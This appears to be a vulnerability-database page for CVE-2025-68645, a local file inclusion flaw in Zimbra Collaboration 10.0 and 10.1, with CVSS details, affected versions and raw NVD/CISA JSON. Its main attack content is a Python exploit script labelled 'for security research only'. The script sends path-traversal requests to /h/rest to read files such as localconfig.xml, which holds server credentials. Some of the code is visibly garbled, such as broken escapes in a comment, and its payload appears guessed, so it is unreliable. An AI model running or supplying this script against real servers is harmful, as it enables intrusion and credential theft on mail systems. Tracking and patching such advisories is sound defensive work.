Security Vulnerability Report
中文
CVE-2025-68645 CVSS 8.8 HIGH

CVE-2025-68645

Published: 2025-12-22 18:16:17
Last Modified: 2026-01-23 18:39:33

Description

A Local File Inclusion (LFI) vulnerability exists in the Webmail Classic UI of Zimbra Collaboration (ZCS) 10.0 and 10.1 because of improper handling of user-supplied request parameters in the RestFilter servlet. An unauthenticated remote attacker can craft requests to the /h/rest endpoint to influence internal request dispatching, allowing inclusion of arbitrary files from the WebRoot directory.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:synacor:zimbra_collaboration_suite:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:synacor:zimbra_collaboration_suite:*:*:*:*:*:*:*:* - VULNERABLE
Zimbra Collaboration Suite (ZCS) 10.0
Zimbra Collaboration Suite (ZCS) 10.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-68645 Zimbra LFI PoC # Target: Zimbra Collaboration Suite 10.0/10.1 # Endpoint: /h/rest def exploit_lfi(target_url, file_path): """ Exploit Local File Inclusion in Zimbra RestFilter servlet Args: target_url: Base URL of vulnerable Zimbra instance file_path: Path to file to read (relative to WebRoot) """ # Encode path traversal to read arbitrary files # Common target: ../../../jetty/webroot/zimbra/\u00config\u00localconfig.xml endpoint = f"{target_url.rstrip('/')}/h/rest" # LFI payload using path traversal params = { 'path': f'../../../../{file_path}', 'content_type': 'json' } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Accept': '*/*' } try: print(f"[*] Targeting: {endpoint}") print(f"[*] Attempting to read: {file_path}") response = requests.get(endpoint, params=params, headers=headers, timeout=30) if response.status_code == 200: print(f"[+] Success! File content retrieved:") print(response.text[:2000]) # Print first 2000 chars return True else: print(f"[-] Failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-68645.py <target_url> <file_path>") print("Example: python cve-2025-68645.py https://mail.example.com ../../jetty/webroot/zimbra/conf/localconfig.xml") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] exploit_lfi(target, file_path)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68645", "sourceIdentifier": "[email protected]", "published": "2025-12-22T18:16:17.070", "lastModified": "2026-01-23T18:39:33.290", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Local File Inclusion (LFI) vulnerability exists in the Webmail Classic UI of Zimbra Collaboration (ZCS) 10.0 and 10.1 because of improper handling of user-supplied request parameters in the RestFilter servlet. An unauthenticated remote attacker can craft requests to the /h/rest endpoint to influence internal request dispatching, allowing inclusion of arbitrary files from the WebRoot directory."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "cisaExploitAdd": "2026-01-22", "cisaActionDue": "2026-02-12", "cisaRequiredAction": "Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.", "cisaVulnerabilityName": "Synacor Zimbra Collaboration Suite (ZCS) PHP Remote File Inclusion Vulnerability", "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:synacor:zimbra_collaboration_suite:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.0.0", "versionEndExcluding": "10.0.18", "matchCriteriaId": "7D423DB3-FCD4-445F-A778-BC5F83E01953"}, {"vulnerable": true, "criteria": "cpe:2.3:a:synacor:zimbra_collaboration_suite:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.1.0", "versionEndExcluding": "10.1.13", "matchCriteriaId": "7C3F6B1E-1671-461B-A093-7B6854C227FE"}]}]}], "references": [{"url": "https://wiki.zimbra.com/wiki/Security_Center", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://wiki.zimbra.com/wiki/Zimbra_Responsible_Disclosure_Policy", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-68645", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["US Government Resource"]}]}}